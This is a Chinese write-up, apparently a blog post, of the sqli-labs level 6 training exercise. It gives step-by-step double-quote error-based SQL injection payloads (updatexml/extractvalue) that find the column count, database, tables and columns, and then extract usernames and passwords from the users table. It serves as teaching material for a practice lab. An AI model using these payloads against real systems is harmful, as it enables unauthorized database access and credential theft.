当前位置: 首页 > news >正文

sqli—labs第六关——双引号报错注入

 一:判断输入类型

首先测试 ?id=1,?id=1',?id=1",页面回显均无变化

所以我们采用简单的布尔测试,分别测试数字型,单引号,双引号

然后发现,只有在测试到双引号注入的时候符合关键规律,其他的页面并无变化,即如下代码:

?id=1" and 1=1 --+   # 正常返回
?id=1" and 1=2 --+   # 异常返回,页面为空

 得出结论:第六关为字符型,双引号闭合

二:注入攻击

1.列数

?id=1" order by 3 --+正常
?id=1" order by 4 --+报错

2,获取数据库版本

?id=1" and updatexml(1,concat(0x7e,version()),1) --+

3,获取数据库名

?id=1" and updatexml(1,concat(0x7e,database()),1) --+

 4.获取数据库表名

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())
),1) --+

 5.获取数据库列名

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columnswhere table_name='users' and table_schema=database())
),1) --+

 6.提取users表数据~

?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)))--+

❀❀❀ 完结撒花!! ❀❀❀

相关文章:

  • 小白学习java第18天(上):spring
  • 【C++】17. 多态
  • 大型企业数据治理与数据资产化:数字化转型的炼金术革命
  • 如何解决电脑蓝屏错误代码:Oxc0000098
  • 鸿蒙OSUniApp开发支持多语言的国际化组件#三方框架 #Uniapp
  • elementUI调整滚动条高度后与固定列冲突问题解决
  • 高海拔和远距离的人员识别:面部、体型和步态的融合
  • Java 源码 HashMap源码分析
  • PROE 转 STP 全攻略:软件实操、在线转换与问题解决
  • 【网工第6版】第10章 网络规划和设计②
  • D. Eating【Codeforces Round 1005 (Div. 2)】
  • 微机原理与接口技术知识点总结——8086微处理器ddddd
  • 16 - VDMA之视频转发实验
  • 字符串检索算法:KMP和Trie树
  • 解决 PicGo 上传 GitHub图床及Marp中Github图片编译常见难题指南
  • VUE3 -综合实践(Mock+Axios+ElementPlus)
  • 安全合规检查开源项目ComplianceAsCode/content详解及操作系统新产品开发适配指南
  • less中使用 @supports
  • tensorflow安装及简单例程学习
  • Baklib知识中台赋能业务智能跃迁
  • 视频丨中国海警成功救助8名外籍遇险渔民,韩方向中方致谢
  • 经常口干口渴的人,要当心这些病
  • “一百零一个愿望——汉字艺术展”亮相意大利威尼斯
  • 今年前4个月上海对拉美国家进出口总值增长2%
  • 4台肺癌手术,2名“90后”患者,这届年轻人的肺怎么了?
  • 上海首发经济“卷”到会展业,浦东签约三个年度“首展”